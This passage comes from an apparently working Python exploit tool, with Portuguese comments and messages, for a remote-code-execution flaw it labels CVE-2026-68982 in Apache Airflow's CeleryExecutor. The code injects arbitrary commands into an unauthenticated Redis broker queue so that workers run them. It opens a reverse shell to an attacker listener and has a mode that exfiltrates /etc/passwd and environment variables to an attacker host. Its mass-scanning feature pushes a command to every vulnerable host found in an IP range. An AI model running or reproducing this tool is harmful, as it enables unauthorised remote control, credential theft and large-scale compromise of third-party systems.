                data = conn.recv(4096)
                if not data:
                    break
                sys.stdout.write(data.decode(errors="replace"))
                sys.stdout.flush()
            if sys.stdin in r:
                cmd = sys.stdin.readline()
                conn.sendall(cmd.encode())
    except KeyboardInterrupt:
        pass
    conn.close()
    srv.close()


# ---------------------------------------------------------------------------
# Exploit principal
# ---------------------------------------------------------------------------

def explorar(host: str, port: int, cmd: str = None, reverse_shell: bool = False,
             lhost: str = None, lport: int = 4444, queue: str = "default",
             password: str = None):

    _log("EXPLOIT", f"Alvo: {host}:{port}", "C")

    # Verifica broker
    info = _scan_target(host, port, password)
    if not info["vuln"]:
        _log("ERRO", "Broker inacessivel ou nao e Redis", "R")
        return False

    _log("OK", f"Broker Redis acessivel! version={info.get('version', 'N/A')}", "G")

    if info.get("airflow_queues"):
        queue = info["airflow_queues"][0]
        _log("QUEUE", f"Fila Airflow detectada: {queue}", "Y")
    else:
        _log("QUEUE", f"Usando fila padrao: {queue}", "D")

    try:
        s = _redis_connect(host, port, password)
    except Exception as e:
        _log("ERRO", f"Conexao: {e}", "R")
        return False

    if reverse_shell and lhost:
        payload_cmd = _payload_reverse_shell(lhost, lport)
        _log("RS", f"Preparando reverse shell -> {lhost}:{lport}", "Y")

        listener_thread = threading.Thread(target=_listen_shell, args=(lport,), daemon=True)
        listener_thread.start()
        time.sleep(0.5)

        tid = _enqueue(s, queue, payload_cmd)
        _log("OK", f"Reverse shell enfileirado! task_id={tid}", "G")
        _log("WAIT", "Aguardando worker processar...", "D")
        listener_thread.join(timeout=60)

    elif cmd:
        tid = _enqueue(s, queue, cmd)
        _log("OK", f"Comando enfileirado! task_id={tid}", "G")
        _log("INFO", f"Comando: {cmd}", "Y")
        _log("WAIT", "O worker Airflow executara o comando sem autenticacao.", "D")
    else:
        _log("ERRO", "Especifique --cmd ou --reverse-shell --lhost", "R")
        s.close()
        return False

    s.close()
    return True


# ---------------------------------------------------------------------------
# CLI
# ---------------------------------------------------------------------------

def _parse_args():
    p = argparse.ArgumentParser(
        description="CVE-2026-68982 - Apache Airflow CeleryExecutor RCE Exploit",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Exemplos:
  # Executar comando arbitrario
  python exploit.py --broker 10.0.0.1 --cmd "id > /tmp/pwned && cat /tmp/pwned"

  # Reverse shell
  python exploit.py --broker 10.0.0.1 --reverse-shell --lhost 192.168.1.10 --lport 9001

  # Exfiltrar dados
  python exploit.py --broker 10.0.0.1 --exfil --lhost 192.168.1.10 --lport 8080

  # Scan de range
  python exploit.py --scan 10.0.0.1-254 --port 6379

  # Scan com arquivo de alvos
  python exploit.py --scan-file targets.txt --port 6379
        """,
    )
    g = p.add_mutually_exclusive_group(required=True)
    g.add_argument("--broker",    help="Host do broker Redis alvo")
    g.add_argument("--scan",      help="Range CIDR ou IP-IP para scan (ex: 10.0.0.0/24)")
    g.add_argument("--scan-file", help="Arquivo com um IP por linha")

    p.add_argument("--port",          type=int, default=6379, help="Porta Redis")
    p.add_argument("--password",      default=None, help="Senha Redis")
    p.add_argument("--queue",         default="default", help="Fila Celery alvo")
    p.add_argument("--cmd",           default=None, help="Comando a executar")
    p.add_argument("--reverse-shell", action="store_true", help="Lanca reverse shell")
    p.add_argument("--lhost",         default=None, help="IP para receber reverse shell")
    p.add_argument("--lport",         type=int, default=4444, help="Porta para reverse shell")
    p.add_argument("--exfil",         action="store_true", help="Exfiltra /etc/passwd e env")
    p.add_argument("--threads",       type=int, default=50, help="Threads para scan")
    p.add_argument("--silent",        action="store_true")
    return p.parse_args()


def _expand_range(spec: str) -> list:
    import ipaddress
    hosts = []
    try:
        net = ipaddress.ip_network(spec, strict=False)
        hosts = [str(h) for h in net.hosts()]
    except ValueError:
        if "-" in spec:
            parts = spec.rsplit("-", 1)
            base = parts[0].rsplit(".", 1)
            if len(base) == 2:
                prefix = base[0]
                start = int(base[1])
                end = int(parts[1])
                hosts = [f"{prefix}.{i}" for i in range(start, end + 1)]
        else:
            hosts = [spec]
    return hosts


def main():
    args = _parse_args()
    global _SILENT
    _SILENT = args.silent

    if not _SILENT:
        print(BANNER)
        print()

    if args.scan or args.scan_file:
        if args.scan_file:
            with open(args.scan_file) as f:
                targets = [l.strip() for l in f if l.strip()]
        else:
            targets = _expand_range(args.scan)
        vulns = scan_range(targets, args.port, args.threads, args.password)
        if vulns and args.cmd:
            print()
            _log("MASS", f"Injetando comando em {len(vulns)} alvos vulneraveis...", "R")
            for v in vulns:
                try:
                    s = _redis_connect(v["host"], args.port, args.password)
                    queue = v.get("airflow_queues", [args.queue])[0] if v.get("airflow_queues") else args.queue
                    tid = _enqueue(s, queue, args.cmd)
                    _log("OK", f"{v['host']} - task_id={tid}", "G")
                    s.close()
                except Exception as e:
                    _log("ERRO", f"{v['host']}: {e}", "R")
        return

    if args.exfil:
        if not args.lhost:
            print(f"  {C['R']}[ERRO]{C['X']} --lhost necessario para exfil")
            sys.exit(1)
        cmd = _payload_exfil(args.lhost, args.lport)
        explorar(args.broker, args.port, cmd=cmd, queue=args.queue, password=args.password)
        return

    explorar(
        args.broker, args.port,
        cmd=args.cmd,
        reverse_shell=args.reverse_shell,
        lhost=args.lhost,
        lport=args.lport,
        queue=args.queue,
        password=args.password,
    )


if __name__ == "__main__":
    main()